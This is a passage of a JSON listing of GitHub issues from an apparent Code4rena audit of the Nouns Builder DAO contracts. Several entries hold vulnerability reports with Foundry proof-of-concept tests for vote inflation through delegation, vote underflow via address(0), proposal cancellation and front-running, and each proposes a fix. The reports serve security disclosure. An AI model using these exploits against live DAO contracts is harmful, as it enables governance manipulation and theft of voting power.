Optimization)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/270", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Founders can receive less tokens that expected", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/269", "labels": ["bug", "duplicate", "2 (Med Risk)", "disagree with severity"], "target": "2022-09-nouns-builder-findings", "body": "Founders can receive less tokens that expected"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/266", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/263", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/261", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/260", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/258", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/257", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Upgrade of Manager.sol inconsistent with interface and other contracts", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/256", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/manager/Manager.sol#L209 # Vulnerability details ### Impact [Manager.sol](https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/manager/Manager.sol) implements a different pattern to contract upgradeability only performing an authorisation check and not ensuring that the new Manager implementation has been registered as an upgrade via `isRegisteredUpgrade()`. The impact is that an upgrade to the [Manager.sol](https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/manager/Manager.sol) does not require a two step approval and be registered via `registerUpgrade()` . Additionally there is no notification event that the Manager implementation has been registered for an upgrade i.e. `UpgradeRegistered`. In this respect the [Manager.sol](https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/manager/Manager.sol) contract has a different implementation to other contracts that make up the DAO (e.g. [Token.sol](https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/Token.sol#L305) and [Governor.sol](https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L618)) and doesn\u2019t follow the process described in the [IManager.sol](https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/manager/IManager.sol) interface, namely that upgrades are registered via `registerUpgrade()`. and therefore emit the `UpgradeRegistered` event for transparency and monitoring/auditing. ### Proof of Concept When comparing `_authorizeUpgrade()` in Manager.sol and Token.sol the implementations differ; ```solidity // Manager.sol function _authorizeUpgrade(address _newImpl) internal override onlyOwner {} // Token.sol function _authorizeUpgrade(address _newImpl) internal view override { // Ensure the caller is the shared owner of the token and metadata renderer if (msg.sender != owner()) revert ONLY_OWNER(); // Ensure the implementation is valid if (!manager.isRegisteredUpgrade(_getImplementation(), _newImpl)) revert INVALID_UPGRADE(_newImpl); } ``` When the Manager.sol implementation is updated it **will not** check whether a new implementation has been registered. The `upgradeTo()` function in [UUPS.sol](https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/lib/proxy/UUPS.sol) will be called checking authorisation and then upgrading the implementation; ```solidity // UUPS.sol function upgradeTo(address _newImpl) external onlyProxy { _authorizeUpgrade(_newImpl); _upgradeToAndCallUUPS(_newImpl, \"\", false); } ``` However unlike Token.sol, Manager.sol performs no checks as to whether the implementation has been registered only checking that the calling entity is the owner. ### Tools Used Vim ### Recommended Remediation Steps To make Manager.sol consistent with the IManager interface and other contracts in the DAO it should have the same functionality implemented in `_authoriseUpgrade()` (see below); ```solidity function _authorizeUpgrade(address _newImpl) internal view override onlyOwner { if (!this.isRegisteredUpgrade(_getImplementation(), _newImpl)) revert INVALID_UPGRADE(_newImpl); } ``` As well as this the [NounsBuilderTest.sol](https://github.com/code-423n4/2022-09-nouns-builder/blob/main/test/utils/NounsBuilderTest.sol) should be updated to perform `.registerUpgrade()` before `.upgradeTo()`. For example; ```solidity // L71 of NounsBuilderTest.sol vm.startPrank(zoraDAO); manager.registerUpgrade(managerImpl0, address(managerImpl)); manager.upgradeTo(managerImpl); vm.stopPrank(); } ``` Then all tests can be run and they will pass."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/250", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/249", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/247", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/245", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/243", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "`blockhash(block.number)` returns zero, weakening randomness", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/242", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "`blockhash(block.number)` returns zero, weakening randomness"}, {"title": "Try-catch block at `Auction._createAuction()` will only catch string errors", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/240", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/auction/Auction.sol#L234 # Vulnerability details The `_createAuction` function wraps the `token.mint()` call in a try-catch block, however this will only catch reverts that comes from the require keyword and not the reverts with custom errors or other kinds of errors (arithmetic over/underflow etc.) ## Impact In case of an error at the `mint()` function the auction won't be settled till the owner intervenes and pauses the contract. ## Proof of Concept Here's a test that proves that `catch Error()` doesn't catch custom errors (the test will fail): ```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import \"forge-std/Test.sol\"; contract ContractTest is Test { function testErr() public{ Reverter r = new Reverter(); try r.throwCustomError(){ }catch Error(string memory) { } } } contract Reverter{ error MyErr(); function throwCustomError() public{ revert MyErr(); } } ``` ## Recommended Mitigation Steps Remove the `Error` so that it'll catch any kind of revert: ```diff // Pause the contract if token minting failed - } catch Error(string memory) { + } catch { _pause(); } } ```"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/236", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Ensure non-zero addresses is provided to token's auction house", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/231", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "Ensure non-zero addresses is provided to token's auction house"}, {"title": "`_transferFrom()` can be used to indefinitely increase voting power.", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/224", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L268 # Vulnerability details ## `_transferFrom()` can be used to indefinitely increase voting power. ### Impact It is possible to indefinitely increase voting power by creating new accounts (addresses) and delegating. This will lead to unfair governance as a user can vote with more votes than actual. ### Explanation The `_transferFrom()` does not move delegates from the src's delegates to the destination's delegates, instead, it moves directly from src to dest. (see recommendations and Code POC for better understanding) ### Code POC ```solidity // Insert this test case into Token.t.sol // Run: forge test --match-contract Token -vv import \"forge-std/console.sol\"; ... function testIncreaseVotePower() public { deployMock(); address voter1; address voter2; uint256 voter1PK; uint256 voter2PK; // Voter with 1 NFT voting power voter1PK = 0xABC; voter1 = vm.addr(voter1PK); vm.deal(voter1, 1 ether); // Second account created by same voter voter2PK = 0xABD; voter2 = vm.addr(voter2PK); // Giving voter1 their 1 NFT vm.prank(founder); auction.unpause(); vm.prank(voter1); auction.createBid{ value: 0.420 ether }(2); vm.warp(auctionParams.duration + 1 seconds); auction.settleCurrentAndCreateNewAuction(); // Start Exploit console.log(\"Initial Votes\"); console.log(\"voter1: \", token.getVotes(voter1)); console.log(\"voter2: \", token.getVotes(voter2)); vm.prank(voter1); token.delegate(voter2); console.log(\"After Delegating Votes, voter1 -> delegate(voter2)\"); console.log(\"voter1: \", token.getVotes(voter1)); console.log(\"voter2: \", token.getVotes(voter2)); vm.prank(voter1); token.transferFrom(voter1, voter2, 2); console.log(\"After Token transfer, voter1 -transferFrom()-> voter2\"); console.log(\"voter1 votes: \", token.getVotes(voter1)); console.log(\"voter2 votes: \", token.getVotes(voter2)); vm.prank(voter2); token.delegate(voter2); console.log(\"After Delegating Votes, voter2 -> delegate(voter2)\"); console.log(\"voter1: \", token.getVotes(voter1)); console.log(\"voter2: \", token.getVotes(voter2)); } ``` Expected Output: ```solidity [PASS] testVoteDoublePower() (gas: 3544946) Logs: Initial Votes voter1: 1 voter2: 0 After Delegating Votes, voter1 -> delegate(voter2) voter1: 1 voter2: 1 After Token transfer, voter1 -transferFrom()-> voter2 voter1 votes: 0 voter2 votes: 2 After Delegating Votes, voter2 -> delegate(voter2) voter1: 0 voter2: 3 ``` ### Recommendations Looking at [OpenZeppelin's ERC721Votes](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/6a8d977d2248cf1c115497fccfd7a2da3f86a58f/contracts/token/ERC721/extensions/draft-ERC721Votes.sol#L13) which I believe the team took reference from, it states: ``` * Tokens do not count as votes until they are delegated, because votes must be tracked which incurs an additional cost * on every transfer. Token holders can either delegate to a trusted representative who will decide how to make use of * the votes in governance decisions, or they can delegate to themselves to be their own representative. ``` The current implementation does not follow this, and tokens count as votes without being delegated. To fix this issue, votes should only be counted when delegated. - I believe the issue is here on this [line](https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L268) ```solidity // Transfer 1 vote from the sender to the recipient \u00a0 \u00a0 \u00a0 \u00a0 _moveDelegateVotes(_from, _to, 1); ``` Where it should move from the delegate of `_from` to the delegate of `_to`. Suggested FIx: ```solidity \u00a0_moveDelegateVotes(delegation[_from], delegation[_to], 1); ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/223", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/221", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/220", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/217", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/216", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/213", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/212", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/210", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/206", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/204", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Delegation should not be allowed to address(0)", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/203", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/lib/token/ERC721Votes.sol#L179-L190 # Vulnerability details ## Impact Assuming an existing bug in the `_delegate` function is fixed (see my previous issue submission titled \"Delegating votes leaves the token owner with votes while giving the delegate additional votes\"): if a user delegates to address(0) that vote gets lost. ## Proof of Concept Assuming the `_delegate` function gets patched by changing: `address prevDelegate = delegation[_from];` to `address prevDelegate = delegates(_from);` The steps to be taken: 1. User (U) gets one NFT (e.g by winning the auction) a. votes(U) = 1 2. U delegates to address(0) // prevDelegate is U, so votes(U)-- a. votes(U) = 0, votes(address(0)) = 0 3. U delegates to address(0) // prevDelegate is U, so votes(U)-- a. votes(U) = 2^192 - 1 Below is a forge test showing the issue: ``` // SPDX-License-Identifier: MIT pragma solidity 0.8.15; import { NounsBuilderTest } from \"../utils/NounsBuilderTest.sol\"; import { TokenTypesV1 } from \"../../src/token/types/TokenTypesV1.sol\"; contract TokenTest is NounsBuilderTest, TokenTypesV1 { address user1 = address(0x1001); address delegate1 = address(0x2001); address delegate2 = address(0x2002); function setUp() public virtual override { super.setUp(); vm.label(user1, \"user1\"); vm.label(delegate1, \"delegate1\"); deployMock(); } function setMockFounderParams() internal virtual override { address[] memory wallets = new address[](1); uint256[] memory percents = new uint256[](1); uint256[] memory vestingEnds = new uint256[](1); wallets[0] = founder; percents[0] = 0; vestingEnds[0] = 4 weeks; setFounderParams(wallets, percents, vestingEnds); } function test_pown2() public { // user1 gets one token vm.startPrank(address(auction)); token.mint(); token.transferFrom(address(auction), user1, 0); vm.stopPrank(); // user1 has 1 token & 1 vote assertEq(token.balanceOf(user1), 1); assertEq(token.getVotes(user1), 1); vm.prank(user1); token.delegate(address(0)); assertEq(token.getVotes(user1), 0); vm.prank(user1); token.delegate(address(0)); assertEq(token.getVotes(user1), type(uint192).max); } } ``` ## Tools Used Manual review ## Recommended Mitigation Steps Either: 1. Don't allow delegation to address(0) by adding a check or 2. If someone tries to delegate to address(0), delegate to the NFT owner instead"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/200", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/199", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/197", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "`Governor` - Quorum could be less than intended", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/195", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-09-nouns-builder-findings", "body": "`Governor` - Quorum could be less than intended"}, {"title": "A proposal can be cancelled by anyone if the proposal has exactly proposalThreshold votes", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/194", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L128 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L363 # Vulnerability details ## Impact If the proposer of a proposal has votes in the same amount as the proposalThreshold, they can create a proposal. But in this case, anyone can also cancel this proposal. When creating a proposal the requirement is \"Ensure the caller's voting weight is greater than or equal to the threshold\". When cancelling a proposal the check is: if `getVotes(proposal.proposer, block.timestamp - 1) > proposal.proposalThreshold` then it the cancelling is not allowed. In effect, if the number of votes is lower than *or equal* to the proposalThreshold it can be cancelled. In the extreme case where all the DAO members have no more than the proposalThreshold amount of votes, every proposal can be cancelled. ## Proof of Concept The forge test below demonstrates the issue: ``` // SPDX-License-Identifier: MIT pragma solidity 0.8.15; import \"forge-std/console.sol\"; import { NounsBuilderTest } from \"../utils/NounsBuilderTest.sol\"; import { IManager } from \"../../src/manager/IManager.sol\"; import { IGovernor } from \"../../src/governance/governor/IGovernor.sol\"; import { GovernorTypesV1 } from \"../../src/governance/governor/types/GovernorTypesV1.sol\"; contract GovCancelWrongCheckTest is NounsBuilderTest, GovernorTypesV1 { uint256 internal constant AGAINST = 0; uint256 internal constant FOR = 1; uint256 internal constant ABSTAIN = 2; uint256 proposalThresholdBps = 100; address internal voter1 = address(0x1234); address internal randomUser = address(0x8888); function setUp() public virtual override { super.setUp(); deployMock(); } function testCanCancelProposalIfExactThreshold() public { // mint a few tokens for (uint256 i; i < 85; i++) { vm.prank(address(auction)); token.mint(); } assertEq(token.totalSupply(), 100); // transfer one token to voter1 vm.prank(address(auction)); token.transferFrom(address(auction), voter1, 5); assertEq(token.balanceOf(voter1), 1); // make sure voter has enough votes assertEq(governor.proposalThreshold(), 1); assertEq(token.getVotes(voter1), 1); vm.warp(block.timestamp + 1); // propose (address[] memory targets, uint256[] memory values, bytes[] memory calldatas) = mockProposal(); vm.prank(voter1); bytes32 proposalId = governor.propose(targets, values, calldatas, \"test\"); // Proposal created successfully assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Pending)); // Cancel proposal vm.prank(randomUser); governor.cancel(proposalId); assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Canceled)); } function setMockGovParams() internal virtual override { setGovParams(2 days, 1 seconds, 1 weeks, proposalThresholdBps, 1000); } function mockProposal() internal view returns ( address[] memory targets, uint256[] memory values, bytes[] memory calldatas ) { targets = new address[](1); values = new uint256[](1); calldatas = new bytes[](1); targets[0] = address(auction); calldatas[0] = abi.encodeWithSignature(\"pause()\"); } } ``` ## Tools Used Manual review ## Recommended Mitigation Steps Change the check in `cancel` to match the requirement in `propose`; change line 363 in Governor.sol to: `if (msg.sender != proposal.proposer && getVotes(proposal.proposer, block.timestamp - 1) >= proposal.proposalThreshold)` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/192", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Multiple vote checkpoints per block will lead to incorrect vote accounting", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/185", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L252-L253 # Vulnerability details Voting power for each NFT owner is persisted within timestamp-dependent checkpoints. Every voting power increase or decrease is recorded. However, the implementation of `ERC721Votes` creates separate checkpoints with the same timestamp for each interaction, even when the interactions happen in the same block/timestamp. ## Impact Checkpoints with the same `timestamp` will cause issues within the `ERC721Votes.getPastVotes(..)` function and will return incorrect votes for a given `_timestamp`. ## Proof of Concept [lib/token/ERC721Votes.sol#L252-L253](https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L252-L253) ```solidity /// @dev Records a checkpoint /// @param _account The account address /// @param _id The checkpoint id /// @param _prevTotalVotes The account's previous voting weight /// @param _newTotalVotes The account's new voting weight function _writeCheckpoint( address _account, uint256 _id, uint256 _prevTotalVotes, uint256 _newTotalVotes ) private { // Get the pointer to store the checkpoint Checkpoint storage checkpoint = checkpoints[_account][_id]; // Record the updated voting weight and current time checkpoint.votes = uint192(_newTotalVotes); checkpoint.timestamp = uint64(block.timestamp); emit DelegateVotesChanged(_account, _prevTotalVotes, _newTotalVotes); } ``` **Consider the following example and the votes checkpoint snapshots:** _Note: Bob owns a smart contract used to interact with the protocol_ **Transaction 0:** Bob's smart contract receives 1 NFT through minting (1 NFT equals 1 vote) | Checkpoint Index | Timestamp | Votes | | ---------------- | --------- | ----- | | 0 | 0 | 1 | **Transaction 1:** Bob's smart contract receives one more NFT through minting | Checkpoint Index | Timestamp | Votes | | ---------------- | --------- | ----- | | 0 | 0 | 1 | | 1 | 1 | 2 | **Transaction 1:** Within the same transaction 1, Bob's smart-contract delegates 2 votes to Alice | Checkpoint Index | Timestamp | Votes | | ---------------- | --------- | ----- | | 0 | 0 | 1 | | 1 | 1 | 2 | | 2 | 1 | 0 | **Transaction 1:** Again within the same transaction 1, Bob's smart contract decides to reverse the delegation and self-delegates | Checkpoint Index | Timestamp | Votes | | ---------------- | --------- | ----- | | 0 | 0 | 1 | | 1 | 1 | 2 | | 2 | 1 | 0 | | 3 | 1 | 2 | **Transaction 1:** Bob's smart contract buys one more NFT | Checkpoint Index | Timestamp | Votes | | ---------------- | --------- | ----- | | 0 | 0 | 1 | | 1 | 1 | 2 | | 2 | 1 | 0 | | 3 | 1 | 2 | | 4 | 2 | 3 | Bob now wants to vote (via his smart contract) on a governance proposal that has been created on `timeCreated = 1` (timestamp 1). Internally, the `Governor._castVote` function determines the voter's weight by calling `getVotes(_voter, proposal.timeCreated)`. [governance/governor/Governor.sol#L275](https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/governance/governor/Governor.sol#L275) ```solidity weight = getVotes(_voter, proposal.timeCreated); ``` `getVotes` calls `ERC721.getPastVotes` internally: [governance/governor/Governor.sol#L462](https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/governance/governor/Governor.sol#L462) ```solidity function getVotes(address _account, uint256 _timestamp) public view returns (uint256) { return settings.token.getPastVotes(_account, _timestamp); } ``` `ERC721.getPastVotes(..., 1)` tries to find the checkpoint within the `while` loop: | # Iteration | `low` | `middle` | `high` | | ----------- | ----- | -------- | ------ | | 0 | 0 | 2 | 4 | The `middle` checkpoint with index `2` matches the given timestamp `1` and returns `0` votes. This is incorrect, as Bob has 2 votes. Bob is not able to vote properly. _(Please be aware that this is just one of many examples of how this issue can lead to incorrect vote accounting. In other cases, NFT owners could have more voting power than they are entitled to)_ ## Tools Used Manual review ## Recommended mitigation steps Consider batching multiple checkpoints writes per block/timestamp similar to how NounsDAO records checkpoints. "}, {"title": "Creating a new governance proposal can be prevented by anyone", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/182", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/governance/governor/Governor.sol#L151 https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/governance/governor/Governor.sol#L353-L377 # Vulnerability details When creating a new governance proposal, the `proposalId` is generated by hashing the proposal data (`_targets, _values, _calldatas, descriptionHash`). To prevent duplicated proposals, the current `Governor` implementation checks if the `proposalId` exists already. If it exists, the call will revert with the `PROPOSAL_EXISTS` error. ## Impact Anyone can prevent others from creating governance proposals by front-running the create proposal transaction with the same data, followed by an immediate call to the `Governor.cancel` function. This will prevent creating a proposal with the same proposal data. A proposal creator would have to slightly change the proposal to try to create it again (however, it can be prevented again due to the aforementioned issue) ## Proof of Concept [governance/governor/Governor.propose](https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/governance/governor/Governor.sol#L151) ```solidity function propose( address[] memory _targets, uint256[] memory _values, bytes[] memory _calldatas, string memory _description ) external returns (bytes32) { [..] // Compute the description hash bytes32 descriptionHash = keccak256(bytes(_description)); // Compute the proposal id bytes32 proposalId = hashProposal(_targets, _values, _calldatas, descriptionHash); // Get the pointer to store the proposal Proposal storage proposal = proposals[proposalId]; // Ensure the proposal doesn't already exist if (proposal.voteStart != 0) revert PROPOSAL_EXISTS(proposalId); // @audit-info Reverts in case the proposals with the same data exists already [..] } ``` [governance/governor/Governor.cancel](https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/governance/governor/Governor.sol#L353-L377) Cancelling a proposal updates the `proposal.canceled` boolean property to `true`. `proposal.voteStart` is left unchanged (`!= 0`). ```solidity /// @notice Cancels a proposal /// @param _proposalId The proposal id function cancel(bytes32 _proposalId) external { // Ensure the proposal hasn't been executed if (state(_proposalId) == ProposalState.Executed) revert PROPOSAL_ALREADY_EXECUTED(); // Get a copy of the proposal Proposal memory proposal = proposals[_proposalId]; // Cannot realistically underflow and `getVotes` would revert unchecked { // Ensure the caller is the proposer or the proposer's voting weight has dropped below the proposal threshold if (msg.sender != proposal.proposer && getVotes(proposal.proposer, block.timestamp - 1) > proposal.proposalThreshold) revert INVALID_CANCEL(); } // Update the proposal as canceled proposals[_proposalId].canceled = true; // If the proposal was queued: if (settings.treasury.isQueued(_proposalId)) { // Cancel the proposal settings.treasury.cancel(_proposalId); } emit ProposalCanceled(_proposalId); } ``` ## Tools Used Manual review ## Recommended mitigation steps Consider adding a per-account nonce storage variable (e.g. `mapping(address => uint256) internal proposalCreatorNonces;` to the `Governor` contract and include the `proposalCreatorNonces[msg.sender]++` nonce within the computed proposal id. "}, {"title": "Treasury does not consider grace period for expiring queued proposals", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/178", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "Treasury does not consider grace period for expiring queued proposals"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/176", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/173", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/172", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Set owner from parameter", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/166", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "Set owner from parameter"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/164", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/157", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/156", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "propose() in Governor.sol has no cap on number of _targets input which can lead to a proposal that cannot be executed", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/155", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "propose() in Governor.sol has no cap on number of _targets input which can lead to a proposal that cannot be executed"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/149", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/145", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/140", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", 